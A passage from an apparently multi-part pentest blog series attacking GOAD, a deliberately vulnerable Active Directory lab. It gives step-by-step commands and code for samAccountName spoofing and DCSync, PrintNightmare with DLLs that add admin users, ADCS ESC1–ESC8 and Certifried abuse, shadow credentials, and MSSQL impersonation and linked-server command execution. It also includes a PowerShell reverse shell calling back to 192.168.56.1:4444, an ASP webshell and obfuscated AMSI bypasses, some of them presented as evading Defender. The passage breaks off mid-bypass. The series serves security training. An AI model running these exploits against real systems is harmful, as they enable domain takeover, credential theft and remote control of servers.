What we will do is add a computer, clear the SPN of that computer, rename computer with the same name as the DC, obtain a TGT for that computer, reset the computer name to his original name, obtain a service ticket with the TGT we get previously and finally dcsync :)

  • Add a new computer
addcomputer.py -computer-name 'samaccountname$' -computer-pass 'ComputerPassword' -dc-host winterfell.north.sevenkingdoms.local -domain-netbios NORTH 'north.sevenkingdoms.local/jon.snow:iknownothing'
image
  • Clear the SPNs of our new computer (with dirkjan krbrelayx tool addspn)
addspn.py --clear -t 'samaccountname$' -u 'north.sevenkingdoms.local\jon.snow' -p 'iknownothing' 'winterfell.north.sevenkingdoms.local'
image
  • Rename the computer (computer -> DC)
renameMachine.py -current-name 'samaccountname$' -new-name 'winterfell' -dc-ip 'winterfell.north.sevenkingdoms.local' north.sevenkingdoms.local/jon.snow:iknownothing
image
  • Obtain a TGT
getTGT.py -dc-ip 'winterfell.north.sevenkingdoms.local' 'north.sevenkingdoms.local'/'winterfell':'ComputerPassword'
image
  • Reset the computer name back to the original name
renameMachine.py -current-name 'winterfell' -new-name 'samaccount$' north.sevenkingdoms.local/jon.snow:iknownothing
image
  • Obtain a service ticket with S4U2self by presenting the previous TGT
export KRB5CCNAME=/workspace/winterfell.ccache
getST.py -self -impersonate 'administrator' -altservice 'CIFS/winterfell.north.sevenkingdoms.local' -k -no-pass -dc-ip 'winterfell.north.sevenkingdoms.local' 'north.sevenkingdoms.local'/'winterfell' -debug
image
  • DCSync by presenting the service ticket
export KRB5CCNAME=/workspace/administrator@CIFS_winterfell.north.sevenkingdoms.local@NORTH.SEVENKINGDOMS.LOCAL.ccache
secretsdump.py -k -no-pass -dc-ip 'winterfell.north.sevenkingdoms.local' @'winterfell.north.sevenkingdoms.local'
image
  • And voilà, we got all the north domain ntds.dit informations :)
  • Now clean up by deleting the computer we created with the administrator account hash we just get
addcomputer.py -computer-name 'samaccountname$' -delete -dc-host winterfell.north.sevenkingdoms.local -domain-netbios NORTH -hashes 'aad3b435b51404eeaad3b435b51404ee:dbd13e1c4e338284ac4e9874f7de6ef4' 'north.sevenkingdoms.local/Administrator'
Impacket v0.10.1.dev1+20220708.213759.8b1a99f7 - Copyright 2022 SecureAuth Corporation
[*] Successfully deleted samaccountname$.

PrintNightmare

To exploit printnightmare we will first check if the spooler is active on targets

Check spooler is active

  • With cme
cme smb 192.168.56.10-23 -M spooler
image
  • With impacket rpcdump
rpcdump.py @192.168.56.10 | egrep 'MS-RPRN|MS-PAR'
image

Prepare impacket

Prepare the dll

  • Let’s prepare the exploitation dll
  • We will create a user and add it as local administrator
  • Create the file nightmare.c:
#include <windows.h> 

int RunCMD()
{
    system("net users pnightmare Passw0rd123. /add");
    system("net localgroup administrators pnightmare /add");
    return 0;
}

BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        RunCMD();
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
  • Compile it:
x86_64-w64-mingw32-gcc -shared -o nightmare.dll nightmare.c

Exploit on old and vulnerable windows server 2016 (meereen)

  • Clone the exploit
git clone https://github.com/cube0x0/CVE-2021-1675 printnightmare
  • Prepare a smb share with the dll
smbserver.py -smb2support ATTACKERSHARE .
  • Before the exploit no user pnightmare
image
  • Try on Braavos
    • Braavos is an up-to-date windows server 2016, the exploit will not work (same error if you try on the north domain on castelblack server)
image
  • Exploit on Meereen
python3 CVE-2021-1675.py essos.local/jorah.mormont:'H0nnor!'@meereen.essos.local '\\192.168.56.1\ATTACKERSHARE\nightmare.dll'
image
  • The exploit worked
image
image
Wait, you use domain connection instead of –local-auth with cme no ?
  • Yes, this is because meereen is a domain controler:

“Domain controllers do not have built-in or account domains. Also, instead of a SAM database, these systems use the Microsoft Active Directory directory service to store account access information.”

  • see: https://docs.microsoft.com/en-us/windows/win32/secmgmt/built-in-and-account-domains

Exploit on vulnerable windows server 2019 (winterfell)

  • Now try the same exploit on a vulnerable windows server 2019
python3 CVE-2021-1675.py north.sevenkingdoms.local/jon.snow:'iknownothing'@north.sevenkingdoms.local '\\192.168.56.1\ATTACKERSHARE\nightmare.dll'
  • And it works too but the user is not in the administrators group :(
  • Nothing due to the exploit, it is just our dll who add a user as administrator who get caught when user is setup as administrator
image
  • Good (thing) to know : after some failures the spooler service will be stopped by defender and no more exploit for you until someone restart the server or the spooler service.
  • Let’s change the payload with another code (source : https://github.com/newsoft/adduser )
/*
 * ADDUSER.C: creating a Windows user programmatically.
 */

#define UNICODE
#define _UNICODE

#include <windows.h>
#include <string.h>
#include <lmaccess.h>
#include <lmerr.h>
#include <tchar.h>


DWORD CreateAdminUserInternal(void)
{
    NET_API_STATUS rc;
    BOOL b;
    DWORD dw;

    USER_INFO_1 ud;
    LOCALGROUP_MEMBERS_INFO_0 gd;
    SID_NAME_USE snu;

    DWORD cbSid = 256;    // 256 bytes should be enough for everybody :)
    BYTE Sid[256];

    DWORD cbDomain = 256 / sizeof(TCHAR);
    TCHAR Domain[256];

    // Create user
    memset(&ud, 0, sizeof(ud));

    ud.usri1_name        = _T("pnightmare2");                // username
    ud.usri1_password    = _T("Test123456789!");             // password
    ud.usri1_priv        = USER_PRIV_USER;                   // cannot set USER_PRIV_ADMIN on creation
    ud.usri1_flags       = UF_SCRIPT | UF_NORMAL_ACCOUNT;    // must be set
    ud.usri1_script_path = NULL;

    rc = NetUserAdd(
        NULL,            // local server
        1,                // information level
        (LPBYTE)&ud,
        NULL            // error value
    );

    if (rc != NERR_Success) {
        _tprintf(_T("NetUserAdd FAIL %d 0x%08x\r\n"), rc, rc);
        return rc;
    }

   _tprintf(_T("NetUserAdd OK\r\n"), rc, rc);

    // Get user SID
    b = LookupAccountName(
        NULL,            // local server
        ud.usri1_name,   // account name
        Sid,             // SID
        &cbSid,          // SID size
        Domain,          // Domain
        &cbDomain,       // Domain size
        &snu             // SID_NAME_USE (enum)
    );

    if (!b) {
        dw = GetLastError();
        _tprintf(_T("LookupAccountName FAIL %d 0x%08x\r\n"), dw, dw);
        return dw;
    }

    // Add user to "Administrators" local group
    memset(&gd, 0, sizeof(gd));

    gd.lgrmi0_sid = (PSID)Sid;

    rc = NetLocalGroupAddMembers(
        NULL,                    // local server
        _T("Administrators"),
        0,                        // information level
        (LPBYTE)&gd,
        1                        // only one entry
    );

    if (rc != NERR_Success) {
        _tprintf(_T("NetLocalGroupAddMembers FAIL %d 0x%08x\r\n"), rc, rc);
        return rc;
    }

    return 0;
}

//
// DLL entry point.
//

BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        CreateAdminUserInternal();
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

// RUNDLL32 entry point
#ifdef __cplusplus
extern "C" {
#endif

__declspec(dllexport) void __stdcall CreateAdminUser(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow)
{
    CreateAdminUserInternal();
}

#ifdef __cplusplus
}
#endif

// Command-line entry point.
int main()
{
    return CreateAdminUserInternal();
}
  • with this payload we can bypass defender and add our user as administrator
  • compile
x86_64-w64-mingw32-gcc -shared -opnightmare2.dll adduser.c -lnetapi32
  • prepare the share
smbserver.py -smb2support ATTACKERSHARE .
  • relaunch the exploit
python3 CVE-2021-1675.py north.sevenkingdoms.local/jon.snow:'iknownothing'@winterfell.north.sevenkingdoms.local '\\192.168.56.1\ATTACKERSHARE\pnightmare2.dll'
image
  • And enjoy your new admin account by dumping the ntds :)
cme smb winterfell.north.sevenkingdoms.local -u pnightmare2 -p 'Test123456789!' --ntds
image

cleanup

  • After the exploitation you will find your dlls inside : C:\Windows\System32\spool\drivers\x64\3
image
  • And also inside : C:\Windows\System32\spool\drivers\x64\3\Old\{id}\
image
  • Don’t forget to clean up ;)

Next time we will have fun with ADCS (Certifried, ESC1, ESC8, …)

GOAD part 6 — ADCS

In the previous post we tried some attacks with a user account on the domain. On this part we will try attacks when an ADCS is setup in the domain. First we will use petitpotam unauthenticated and ESC8 attack to get domain admin on essos.local, next we will enumerate template certificate with certipy, bloodhound and a user account. To finish we will exploit the following attacks : certipy, esc1, esc2, esc3, esc4, esc6, certifried and shadow credentials.

ESC8 - coerce to domain admin

  • To make this attack work we will need :
    • ADCS running on the domain with web enrollment enabled.
    • A working coerce method (here we use petitpotam unauthent, but an authenticated printerbug or other coerce methods will work the same)
    • There is a useful template to exploit ESC8, by default on an active directory, its name is DomainController
image
image
  • The server ask for an authentication so all is fine :)
  • Add a listener to relay SMB authentication to HTTP with impacket ntlmrelayx
ntlmrelayx.py -t http://192.168.56.23/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
  • Launch the coerce with petitpotam unauthenticated (this will no more work on an up to date active directory but other coerce methods authenticated will work the same)
petitpotam.py 192.168.56.1 meereen.essos.local
image
  • ntlmrelayx will relay the authentication to the web enrollement and get the certificate
image
  • Ask for a TGT with the certificate we just get (we copied it to the file cert.b64)
gettgtpkinit.py -pfx-base64 $(cat cert.b64) 'essos.local'/'meereen$' 'meereen.ccache'
image
  • And now we got a TGT for meereen so we can launch a DCsync and get all the ntds.dit content.
export KRB5CCNAME=/workspace/esc8/meereen.ccache
secretsdump -k -no-pass ESSOS.LOCAL/'meereen$'@meereen.essos.local
image

ESC8 - with certipy

Oliver Lyak as done a wonderful job on the ADCS attack tool certipy to automatise a lots of things.

Let’s do the same attack with certipy, setup the listener :

certipy relay -ca 192.168.56.23 -template DomainController
  • trig the coerce just like we did before with petitpotam
petitpotam.py 192.168.56.1 meereen.essos.local
  • Now we got the certificate so we can get the NT hash of the DC and also the TGT with the command :
certipy auth -pfx meereen.pfx -dc-ip 192.168.56.12
  • And we can launch a DCsync with secretsdump and the ticket we get
export KRB5CCNAME=/workspace/esc8/meereen.ccache
secretsdump -k -no-pass ESSOS.LOCAL/'meereen$'@meereen.essos.local

# or with the hash

secretsdump -hashes ':39d964a01c61c19fe36c71627d7ab56c' -no-pass ESSOS.LOCAL/'meereen$'@meereen.essos.local
image

ADCS reconnaissance and enumeration (with certipy and bloodhound)

image
  • Let’s start the enumeration with certipy
certipy find -u [email protected] -p 'horse' -dc-ip 192.168.56.12
  • This will search the certificate server, and dump all the information needed in three format :
    • bloodhound : a zip ready to import in bloodhound (if you use certipy 4.0 you will have to install the bloodhound gui modified by oliver lyak, if you do not want to use the modified version, you must use the old-bloodhound option)
    • json : information json formated
    • txt : a textual format
image
  • Certipy 4.0 reintroduce also the vulnerable option to show the vulnerable templates.
certipy find -u [email protected] -p 'horse' -vulnerable -dc-ip 192.168.56.12 -stdout
  • We can find an ESC1 vulnerable template :
    • Enrollment rights to all domain users
    • Client authentication
    • And Enrollee supplies subject
image
  • There is also an ESC2 vulnerable template:
image

And others vulnerable templates, let’s take a look in bloodhound.

cd /opt/tools
wget https://github.com/ly4k/BloodHound/releases/download/v4.2.0-ly4k/BloodHound-linux-x64.zip
unzip BloodHound-linux-x64.zip -d BloodHound4.2-ly4k
rm BloodHound-linux-x64.zip
neo4j start
/opt/tools/BloodHound4.2-ly4k/BloodHound-linux-x64/BloodHound  --no-sandbox --disable-dev-shm-usage
  • Import the zip file created with certipy.
  • And take an overview with : PKI->Find certificate authority, select the certificate authority and click : “see enabled templates”
image
if you don’t have esc4 setup on the lab, please update and run the following commands:
  • ansible-playbook acl.yml
  • ansible-playbook adcs.yml
  • and next rerun bloodhound and certipy :)

Now you should be ok with acl and adcs ESC4 settings :)

image

ADCS - exploitation

ADCS - ESC1

image
  • enumerate
certipy find -u [email protected] -p 'horse' -dc-ip 192.168.56.12
image
  • query the certificate
    • target : the ca server
    • tempalte : the vulnerable template
    • upn : the target user we want to impersonate
certipy req -u [email protected] -p 'horse' -target braavos.essos.local -template ESC1 -ca ESSOS-CA -upn [email protected]
  • authentication with the pfx we request before
certipy auth -pfx administrator.pfx -dc-ip 192.168.56.12
if you get the error : “[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)”, the lab is in error, i don’t know why sometimes it is not working by now, but you can reboot DC3 to fix this: vagrant reload DC03
image

ADCS - ESC2 & ESC3

image
  • As said in the certipy page : “ESC2 is when a certificate template can be used for any purpose. Since the certificate can be used for any purpose, it can be used for the same technique as with ESC3 for most certificate templates.”
  • Let’s distinguish the 2 attacks by trying with ESC2 :
image
  • Query cert
certipy req -u [email protected] -p 'horse' -target 192.168.56.23 -template ESC2 -ca ESSOS-CA
  • Query cert with the Certificate Request Agent certificate we get before (-pfx)
certipy req -u [email protected] -p 'horse' -target 192.168.56.23 -template User -ca ESSOS-CA -on-behalf-of 'essos\administrator' -pfx khal.drogo.pfx
  • Auth
certipy auth -pfx administrator.pfx -dc-ip 192.168.56.12
image
  • We also can do the same with the ESC3-CRA and ESC3 templates in the lab :
certipy req -u [email protected] -p 'horse' -target 192.168.56.23 -template ESC3-CRA -ca ESSOS-CA
certipy req -u [email protected] -p 'horse' -target 192.168.56.23 -template ESC3 -ca ESSOS-CA -on-behalf-of 'essos\administrator' -pfx khal.drogo.pfx
certipy auth -pfx administrator.pfx -username administrator -domain essos.local -dc-ip 192.168.56.12

ADCS - ESC4

image
image
  • Take the ESC4 template and change it to be vulnerable to ESC1 technique by using the genericWrite privilege we got. (we didn’t set the target here as we target the ldap)
certipy template -u [email protected] -p 'horse' -template ESC4 -save-old -debug
  • Exploit ESC1 on the modified ESC4 template
certipy req -u [email protected] -p 'horse' -target braavos.essos.local -template ESC4 -ca ESSOS-CA -upn [email protected]
  • authentication with the pfx
certipy auth -pfx administrator.pfx -dc-ip 192.168.56.12
  • Rollback the template configuration
certipy template -u [email protected] -p 'horse' -template ESC4 -configuration ESC4.json
image

ADCS - ESC6

image
  • As said on certipy page : “ESC6 is when the CA specifies the EDITF_ATTRIBUTESUBJECTALTNAME2 flag. This flag allows the enrollee to specify an arbitrary SAN on all certificates despite a certificate template’s configuration.”
  • Because ESSOS-CA is vulnerable to ESC6 we can do the ESC1 attack but with the user template instead of the ESC1 template even if the user template got Enrollee Supplies Subject set to false.
certipy req -u [email protected] -p 'horse' -target braavos.essos.local -template User -ca ESSOS-CA -upn [email protected]
certipy auth -pfx administrator.pfx -dc-ip 192.168.56.12
image
certutil –setreg policy\EditFlags –EDITF_ATTRIBUTESUBJECTALTNAME2
net stop certsvc && net start certsvc
💡
This also mean that if you got an administrator access on the certificate server you can change this attribute to exploit ESC1 without being domain admin ;)
  • But now the exploit ESC6 no longer work, the user is not changed :)
image

Certifried - CVE-2022–26923

certipy account create -u [email protected] -p 'horse' -user 'certifriedpc' -pass 'certifriedpass' -dns 'meereen.essos.local'
  • Request a certificate with the created computer on template Machine
certipy req -u 'certifriedpc$'@essos.local -p 'certifriedpass' -target braavos.essos.local -ca ESSOS-CA -template Machine
  • Authenticate with the certificate as meereen (the dc)
certipy auth -pfx meereen.pfx -username 'meereen$' -domain essos.local -dc-ip 192.168.56.12
  • Dump the ndts with the kerberos ticket we just get
export KRB5CCNAME=/workspace/certifried/meereen.ccache
secretsdump -k -no-pass -just-dc-user daenerys.targaryen ESSOS.LOCAL/'meereen$'@meereen.essos.local
  • delete the created computer with a domain admin user
certipy account delete -u [email protected] -hashes 'aad3b435b51404eeaad3b435b51404ee:34534854d33b398b66684072224bb47a' -user 'certifriedpc'
image
  • Ok but now imagine you can’t dcsync with secretdump due to a security product on the dc, or you just want to get a shell directly on the DC. Let’s try to get a shell.
  • We got the TGT of the DC (exactly like in part 5 for samaccountname) so we will use impacket getST to impersonate the administrator and get a st to access the DC as administrator (see : https://www.thehacker.recipes/ad/movement/kerberos/delegations/s4u2self-abuse)
remember to use the good impacket pull request to use this, see part5 for installation (thx again to shutdown for the adds to impacket)
export KRB5CCNAME=/workspace/certifried/meereen.ccache
python3 /opt/tools/myimpacket/examples/getST.py -self -impersonate 'administrator' -altservice 'CIFS/meereen.essos.local' -k -no-pass -dc-ip 'meereen.essos.local' 'essos.local'/'meereen'
  • and now we can use our ticket
export KRB5CCNAME=/workspace/certifried/administrator@[email protected]
wmiexec.py -k @meereen.essos.local
image
  • We could also do the same thing but with winrm to be even more legit :)
export KRB5CCNAME=/workspace/certifried/meereen.ccache
python3 /opt/tools/myimpacket/examples/getST.py -self -impersonate 'administrator' -altservice 'HTTP/meereen.essos.local' -k -no-pass -dc-ip 'meereen.essos.local' 'essos.local'/'meereen'
Note : Here we asked an altservice HTTP/meereen.essos.local for winrm usage
export KRB5CCNAME=/workspace/certifried/administrator@[email protected]
evil-winrm -i meereen.essos.local -r ESSOS.LOCAL
image
  • and voilà :)

Shadow Credentials

  • Shadow credentials attack consist of using the GenericAll or GenericWrite privilege on a user or computer to set up the attribute msDS-KeyCredentialLink. explanations here
  • You can get the dacl movement on shutdown (@_nwodtuhs) website, the hacker recipes : https://www.thehacker.recipes/ad/movement/dacl
image
  • This attack is very usefull when you got Write on another user.
  • With genericWrite you can only do:
    • Target Kerberoasting : add an SPN to a user, do a kerberoasting, unset the spn. But the user password must be weak to the kerberoasting attack work.
    • Set up a logon script : change ldap parameters to set up a logon script. but it implies that the user log to his computer, an smb server or a share to offer the script and setup a script that bypass the security solutions in place)
    • shadow credentials : the attack we want to do, we need a cetificate service on the domain
  • With GenericAll you can :
    • ForceChangePassword : but on a real pentest you don’t want to block a user by changing his password. And this is not very stealthy too. So if you can do another way this is fine :)
    • All the attacks available in the genericWrite part.

So if ADCS is enabled on the domain, and we got write privilege on msDS-KeyCredentialLink, we can do the shadow credentials attack to get a direct access on the user account. And this seems to be the better idea in this case on a real pentest.

  • Shadow credentials is now include with certipy (this attack can also be done with pywisker )
certipy shadow auto -u [email protected] -p 'horse' -account 'viserys.targaryen'
image
  • And we can do the same from viserys to jorah
certipy shadow auto -u [email protected] -hashes 'd96a55df6bef5e0b4d6d956088036097' -account 'jorah.mormont'
image

Next time we will have fun with MSSQL in the lab :)

GOAD part 7 — MSSQL

In the previous post we tried some attacks with ADCS activated on the domain. Now let’s take a step back, and go back on the castelblack.north.sevenkingdoms.local to take a look at the MSSQL server.

Before jump into this chapter, i have done some small configuration on the lab, to be sure you get it, you should pull the updates and play : ansible-playbook servers.yml to get the last mssql configuration.

  • This modifications are:
    • arya.stark execute as user dbo impersonate privilege on msdb
    • brandon.stark impersonate on jon.snow

Enumerate the MSSQL servers

Impacket GetUserSPNs.py

  • First let’s try to figure out the users with an SPN on an MSSQL server
GetUserSPNs.py north.sevenkingdoms.local/brandon.stark:iseedeadpeople
  • And on essos domain
GetUserSPNs.py -target-domain essos.local north.sevenkingdoms.local/brandon.stark:iseedeadpeople
image

Nmap

nmap -p 1433 -sV -sC 192.168.56.10-23

Two servers answer :

  • castelblack.north.sevenkingdoms.local
image
  • braavos.essos.local : the result is identical as castelblack.

CrackMapExec

  • Let’s try with crackmapexec
./cme mssql 192.168.56.22-23
image
  • Now we could try with the user samwell.tarly
./cme mssql 192.168.56.22 -u samwell.tarly -p Heartsbane -d north.sevenkingdoms.local
image
  • As we can see we got an access to the database

Impacket

  • To enumerate and use impacket mssql, i made a modified version of the example mssqlclient.py.
  • You can find the version here
  • The install is just like what we done in part5 merge the PR on your local impacket project and relaunch install:
cd /opt/tools
git clone https://github.com/SecureAuthCorp/impacket myimpacket
cd myimpacket
python3 -m virtualenv myimpacket
source myimpacket/bin/activate
git fetch origin pull/1397/head:1397
git merge 1397
python3 -m pip install .
  • We connect to the mssql server with the following command :
python3 mssqlclient.py -windows-auth north.sevenkingdoms.local/samwell.tarly:[email protected]
  • And type help:
   lcd {path}                 - changes the current local directory to {path}
   exit                       - terminates the server process (and this session)
   enable_xp_cmdshell         - you know what it means
   disable_xp_cmdshell        - you know what it means
   enum_db                    - enum databases
   enum_links                 - enum linked servers
   enum_impersonate           - check logins that can be impersonate
   enum_logins                - enum login users
   enum_users                 - enum current db users
   enum_owner                 - enum db owner
   exec_as_user {user}        - impersonate with execute as user
   exec_as_login {login}      - impersonate with execute as login
   xp_cmdshell {cmd}          - executes cmd using xp_cmdshell
   xp_dirtree {path}          - executes xp_dirtree on the path
   sp_start_job {cmd}         - executes cmd using the sql server agent (blind)
   use_link {link}            - linked server to use (set use_link localhost to go back to local or use_link .. to get back one step)
   ! {cmd}                    - executes a local shell cmd
   show_query                 - show query
   mask_query                 - mask query
  • I added some new entries to the database : enum_db/enum_links/enum_impersonate/enum_login/enum_owner/exec_as_user/exec_as_login/use_link/show_query/mask_query
  • Let’s start the enumeration :
enum_logins
  • This launch the following query (roles value meaning can be show here)
select r.name,r.type_desc,r.is_disabled, sl.sysadmin, sl.securityadmin, 
sl.serveradmin, sl.setupadmin, sl.processadmin, sl.diskadmin, sl.dbcreator, sl.bulkadmin 
from  master.sys.server_principals r 
left join master.sys.syslogins sl on sl.sid = r.sid 
where r.type in ('S','E','X','U','G')
  • We see only a basic view as we are a simple user
  • image

impersonate - execute as login

  • Let’s enumerate impersonation values:
enum_impersonate
  • This launch the following queries:
SELECT 'LOGIN' as 'execute as','' AS 'database', 
pe.permission_name, pe.state_desc,pr.name AS 'grantee', pr2.name AS 'grantor' 
FROM sys.server_permissions pe 
JOIN sys.server_principals pr ON pe.grantee_principal_id = pr.principal_Id 
JOIN sys.server_principals pr2 ON pe.grantor_principal_id = pr2.principal_Id WHERE pe.type = 'IM'
  • The previous command list all login with impersonation permission
  • This launch also the following command on each databases :
use <db>;
SELECT 'USER' as 'execute as', DB_NAME() AS 'database',
pe.permission_name,pe.state_desc, pr.name AS 'grantee', pr2.name AS 'grantor' 
FROM sys.database_permissions pe 
JOIN sys.database_principals pr ON pe.grantee_principal_id = pr.principal_Id 
JOIN sys.database_principals pr2 ON pe.grantor_principal_id = pr2.principal_Id WHERE pe.type = 'IM'
  • The previous command list all users with impersonation permission
What is the hell ? login and user, what is the difference ?
  • A “Login” grants the principal entry into the SERVER
  • A “User” grants a login entry into a single DATABASE
  • I found out an image who explain it well and also a very nice summary here

“SQL Login is for Authentication and SQL Server User is for Authorization. Authentication can decide if we have permissions to access the server or not and Authorization decides what are different operations we can do in a database. Login is created at the SQL Server instance level and User is created at the SQL Server database level. We can have multiple users from a different database connected to a single login to a server.”

image
  • Ok let see the result :
image
  • Ok samwell got login impersonation to the user sa.
  • So we can impersonate sa with execute as login and execute commands with xp_cmdshell
exec_as_login sa
enable_xp_cmdshell
xp_cmdshell whoami
  • This launch the following commands:
execute as login='sa';
exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;
exec master..xp_cmdshell 'whoami'
  • And we get a command execution !
image
  • Let’s continue our enumeration as login sa this time:
enum_logins
image
  • As we can see with sa login we see a lot more things. And we can see that jon.snow is sysadmin on the mssql server
  • Let’s see if there is others impersonation privileges:
enum_impersonate
image
  • As sysadmin user (sa), we can see all the information in the database and so the others users with impersonation privileges.
  • Another way to get in could be to access as brandon.stark and do execute as login on user jon.snow.

impersonate - execute as user

  • We launch a connection to the db as arya.stark :
python3 mssqlclient.py -windows-auth north.sevenkingdoms.local/arya.stark:[email protected]
  • if we use master db and impersonate user dbo we can’t get a shell
use master
execute as user = "dbo"
exec master..xp_cmdshell 'whoami'
image
  • but our user also got impersonate user privilege on dbo user on database msdb
image
  • The difference between the two databases is that msdb got the trustworthy property set (default value on msdb).
image
  • With the trustworthy property we get a shell :
image

Coerce and relay

  • Mssql can also be use to coerce an NTLM authentication from the mssql server. The incoming connection will be from the user who run the mssql server.
  • In our case if we tale any user like hodor for example we can get an NTLM authentication
  • start responder responder -I vboxnet0
  • Connect with hodor (0 privilèges)
python3 mssqlclient.py -windows-auth north.sevenkingdoms.local/hodor:[email protected]
  • run a xp_dirtree command :
exec master.sys.xp_dirtree '\\192.168.56.1\demontlm',1,1
  • And we get a connection back to our responder
image
  • This will work also with ntlmrelayx (like with a server running as administrator and with the same password on other servers). But on the lab, this kind of behavior is not setup by now.

trusted links

  • Another SQL abuse we could try on the lab, is the usage of mssql trusted links.
💡
Note that trusted link is also a forest to forest technique
  • To abuse the links let’s connect with jon.snow and use enum_links
python3 mssqlclient.py -windows-auth north.sevenkingdoms.local/jon.snow:[email protected] -show
SQL (NORTH\jon.snow  dbo@master)> enum_links
  • This play the following queries :
EXEC sp_linkedservers
EXEC sp_helplinkedsrvlogin
image
  • As we can see a linked server exist with the name BRAAVOS and a mapping exist with the user jon.snow and sa on braavos.
  • If we use the link we can get a command injection on braavos:
use_link BRAAVOS
enable_xp_cmdshell
xp_cmdshell whoami
  • This play the following MSSQL commands :
EXEC ('select system_user as "username"') AT BRAAVOS
EXEC ('exec master.dbo.sp_configure ''show advanced options'',1;RECONFIGURE;exec master.dbo.sp_configure ''xp_cmdshell'', 1;RECONFIGURE;') AT BRAAVOS
EXEC ('exec master..xp_cmdshell ''whoami''') AT BRAAVOS
image
  • We got a command injection on braavos.essos.local as essos\sql_svc
  • I have done the modifications on mssqlclient.py to be able to chain trusted_links. From this we can continue to another trusted link, etc…
  • Example :
image

Command execution to shell

  • We got command execution on castelblack and also on braavos. But now we want a shell to interact with the server.
  • To get a shell we can use a basic Powershell webshell (There is one available on the arsenal commands cheatsheet project. This is another of my projects that i will need to improve when i get the time, but this script do not bypass defender anymore, so let’s write some modifications):
$c = New-Object System.Net.Sockets.TCPClient('192.168.56.1',4444);
$s = $c.GetStream();[byte[]]$b = 0..65535|%{0};
while(($i = $s.Read($b, 0, $b.Length)) -ne 0){
    $d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);
    $sb = (iex $d 2>&1 | Out-String );
    $sb = ([text.encoding]::ASCII).GetBytes($sb + 'ps> ');
    $s.Write($sb,0,$sb.Length);
    $s.Flush()
};
$c.Close()
  • Let’s convert this powershell command to base64 in utf-16 for powershell
#!/usr/bin/env python
import base64
import sys

if len(sys.argv) < 3:
  print('usage : %s ip port' % sys.argv[0])
  sys.exit(0)

payload="""
$c = New-Object System.Net.Sockets.TCPClient('%s',%s);
$s = $c.GetStream();[byte[]]$b = 0..65535|%%{0};
while(($i = $s.Read($b, 0, $b.Length)) -ne 0){
    $d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);
    $sb = (iex $d 2>&1 | Out-String );
    $sb = ([text.encoding]::ASCII).GetBytes($sb + 'ps> ');
    $s.Write($sb,0,$sb.Length);
    $s.Flush()
};
$c.Close()
""" % (sys.argv[1], sys.argv[2])

byte = payload.encode('utf-16-le')
b64 = base64.b64encode(byte)
print("powershell -exec bypass -enc %s" % b64.decode())
image
  • run it and get a shell
image

Other tools to use

Next time we will have fun with IIS and we will get an nt authority\system shell on servers :)

GOAD part 8 — Privilege escalation

In the previous post we tried some attacks with MSSQL on the domain. This time we will get a web shell on IIS and try some privilege escalation techniques.

IIS - webshell

  • There is a simple asp.net application on http://192.168.56.22/, this application only give us a simple file upload functionality.
image
  • From there we can upload a basic webshell in asp : webshell.asp (at the time of writing, this avoid defender signature)
<%
Function getResult(theParam)
    Dim objSh, objResult
    Set objSh = CreateObject("WScript.Shell")
    Set objResult = objSh.exec(theParam)
    getResult = objResult.StdOut.ReadAll
end Function
%>
<HTML>
    <BODY>
        Enter command:
            <FORM action="" method="POST">
                <input type="text" name="param" size=45 value="<%= myValue %>">
                <input type="submit" value="Run">
            </FORM>
            <p>
        Result :
        <%
        myValue = request("param")
        thisDir = getResult("cmd /c" & myValue)
        Response.Write(thisDir)
        %>
        </p>
        <br>
    </BODY>
</HTML>
  • The webshell is uploaded in the upload folder.
  • And we have a command execution on the IIS server
image
  • We can get a reverse shell with the same method used for mssql
image
  • As a IIS service user we got SeImpersonatePrivilege privilege ! (same thing on mssql, the service got this permission by default)

Privesc

  • There is a lot of privesc technics on microsoft windows. Here we will just try two that got a “not fix” by microsoft, printspoofer and krbrelay.
image
  • As the privesc is run on the target computer, in this chapter we will do some powershell to escalate our privileges.

AMSI bypass

To do all my tests, i enable windows defender on all system. Castelblack got defender disabled by default, you should enable it before testing the privesc technics described here
  • To be able to play usually AV detected application from memory you should bypass the Anti Malware Scanning Interface (AMSI) on the current process
  • There is multiple ways to bypass AMSI and you can find them on the github page : https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell
  • Also you can find custom generated payload in this website amsi.fail
  • All the public available method seems to be signed, but we can also pick one and make some hand made small modifications on it
  • Original :
# Matt Graebers second Reflection method
[Runtime.InteropServices.Marshal]::WriteInt32([Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiContext',[Reflection.BindingFlags]'NonPublic,Static').GetValue($null),0x41414141)
  • Modified version:
$x=[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUt'+'ils');$y=$x.GetField('am'+'siCon'+'text',[Reflection.BindingFlags]'NonPublic,Static');$z=$y.GetValue($null);[Runtime.InteropServices.Marshal]::WriteInt32($z,0x41424344)
  • This is trivial modifications, but this is enough to bypass the signature at the time of writing.
  • Once we have done that we can use the rasta mouse AMSI bypass to disable AMSI at the .net level.
  • If you want to know why you have to do that, you should read this blog post from @ShitSecure explaining the difference between powershell and .net AMSI level : https://s3cur3th1ssh1t.github.io/Powershell-and-the-.NET-AMSI-Interface/
# Patching amsi.dll AmsiScanBuffer by rasta-mouse
$Win32 = @"

using System;
using System.Runtime.InteropServices;

public class Win32 {

    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);

    [DllImport("kernel32")]
